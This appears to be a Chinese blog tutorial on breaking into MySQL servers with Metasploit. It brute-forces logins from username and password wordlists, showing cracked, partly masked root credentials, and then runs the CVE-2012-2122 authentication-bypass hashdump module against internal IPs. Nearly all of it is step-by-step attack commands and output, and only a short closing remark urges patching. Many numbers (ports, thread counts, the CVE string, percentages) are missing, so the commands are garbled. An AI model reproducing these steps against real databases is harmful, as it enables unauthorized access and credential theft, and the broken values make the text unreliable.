用Metasploit破解Mysql用户名和密码

下面这个方式是普适的，但缺点就是必须要有自己的用户名和密码字典。其原理就是用user.txt与pass.txt的两个文本去不停交叉验证。

msf auxiliary(mysql_login) > use auxiliary/scanner/mysql/mysql_login
msf auxiliary(mysql_login) > show options 

Module options (auxiliary/scanner/mysql/mysql_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   false            no        Try blank passwords for all users
   BRUTEFORCE_SPEED                  yes       How fast to bruteforce, from  to
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   Proxies                            no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS            　　　　　　　　   yes       The target address range or CIDR identifier
   RPORT                              yes       The target port
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS                           yes       The number of concurrent threads
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false            no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts

msf auxiliary(mysql_login) > set RHOSTS 10.199.169.160
RHOSTS => 10.199.169.160
msf auxiliary(mysql_login) > set RPORT 3307
RPORT =>
msf auxiliary(mysql_login) > set USER_FILE /home/user.txt
USER_FILE => /home/user.txt
msf auxiliary(mysql_login) > set PASS_FILE /home/pass.txt
PASS_FILE => /home/pass.txt
msf auxiliary(mysql_login) >
msf auxiliary(mysql_login) > exploit 

[*] 10.199.169.160: MYSQL - Found remote MySQL version 5.5.
[-] 10.199.169.160: MYSQL - LOGIN FAILED: tms:root (Incorrect: Access denied for user 'tms'@'192.168.132.113' (using password: YES))
[-] 10.199.169.160: MYSQL - LOGIN FAILED: tms:vipshop (Incorrect: Access denied for user 'tms'@'192.168.132.113' (using password: YES))
[-] 10.199.169.160: MYSQL - LOGIN FAILED: tms:vipshop!@# (Incorrect: Access denied for user 'tms'@'192.168.132.113' (using password: YES))
[-] 10.199.169.160: MYSQL - LOGIN FAILED: tms:cdtms (Incorrect: Access denied for user 'tms'@'192.168.132.113' (using password: YES))
[-] 10.199.169.160: MYSQL - LOGIN FAILED: root:root (Incorrect: Access denied for user 'root'@'192.168.132.113' (using password: YES))
[+] 10.199.169.160: MYSQL - Success: 'root:vi****p'
[-] 10.199.169.160: MYSQL - LOGIN FAILED: cdtms:root (Incorrect: Access denied for user 'cdtms'@'192.168.132.113' (using password: YES))
[-] 10.199.169.160: MYSQL - LOGIN FAILED: cdtms:vipshop (Incorrect: Access denied for user 'cdtms'@'192.168.132.113' (using password: YES))
[-] 10.199.169.160: MYSQL - LOGIN FAILED: cdtms:vipshop!@# (Incorrect: Access denied for user 'cdtms'@'192.168.132.113' (using password: YES))
[+] 10.199.169.160: MYSQL - Success: 'cdt**s:cdt**s'
[*] Scanned  of  hosts (% complete)
[*] Auxiliary module execution completed

另外，针对某些特定的Mysql版本,也可以采取一些特定的手段，比如Mysql的漏洞：CVE-2012-2122

假设我们得到了一个Mysql为5.1.61, 5.2.11, 5.3.5, 5.5.22的数据库(下面这个只是操作过程,数据库版本不是含漏洞版本)

msf > use auxiliary/scanner/mysql/mysql_version
msf auxiliary(mysql_version) > show options 

Module options (auxiliary/scanner/mysql/mysql_version):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target address range or CIDR identifier
   RPORT                 yes       The target port
   THREADS                  yes       The number of concurrent threads

msf auxiliary(mysql_version) > set RHOSTS 10.199.128.61
RHOSTS => 10.199.128.61
msf auxiliary(mysql_version) > set THREADS
THREADS =>
msf auxiliary(mysql_version) > exploit 

[*] 10.199.128.61: is running MySQL 5.5.-log (protocol )
[*] Scanned  of  hosts (% complete)
[*] Auxiliary module execution completed

第一步就是获取mysql version。第二步便配置Mysql的IP和端口就可以exploit了(事实上有IP足够了,所有端口开放的服务都能扫描得到)

msf auxiliary(mysql_hashdump) > search CVE--

Matching Modules
================

   Name                                               Disclosure Date  Rank    Description
   ----                                               ---------------  ----    -----------
   auxiliary/scanner/mysql/mysql_authbypass_hashdump  --       normal  MySQL Authentication Bypass Password Dump

msf auxiliary(mysql_hashdump) > use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf auxiliary(mysql_authbypass_hashdump) >
msf auxiliary(mysql_authbypass_hashdump) >
msf auxiliary(mysql_authbypass_hashdump) > show options 

Module options (auxiliary/scanner/mysql/mysql_authbypass_hashdump):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   RHOSTS                     yes       The target address range or CIDR identifier
   RPORT                  yes       The target port
   THREADS                   yes       The number of concurrent threads
   USERNAME  root             yes       The username to authenticate as

msf auxiliary(mysql_authbypass_hashdump) > set RHOSTS 10.199.128.61
RHOSTS => 10.199.128.61
msf auxiliary(mysql_authbypass_hashdump) > exploit 

[+] 10.199.128.61: The server allows logins, proceeding with bypass test
[*] 10.199.128.61: Authentication bypass is % complete
[*] 10.199.128.61: Authentication bypass is % complete
[*] 10.199.128.61: Authentication bypass is % complete
[*] 10.199.128.61: Authentication bypass is % complete
[*] 10.199.128.61: Authentication bypass is % complete
[*] 10.199.128.61: Authentication bypass is % complete
[*] 10.199.128.61: Authentication bypass is % complete
[*] 10.199.128.61: Authentication bypass is % complete
[*] 10.199.128.61: Authentication bypass is % complete
[*] 10.199.128.61: Authentication bypass is % complete
[-] 10.199.128.61: Unable to bypass authentication, this target may not be vulnerable
[*] Scanned  of  hosts (% complete)
[*] Auxiliary module execution completed

然后这样就这么简单，你会得到一个用户名和密码。

-------------------

想想看，假设你的数据库有漏洞，别人有你一个公网IP，就能获取你的数据库信息。。。所以，网上公布重大漏洞时，不要置身事外。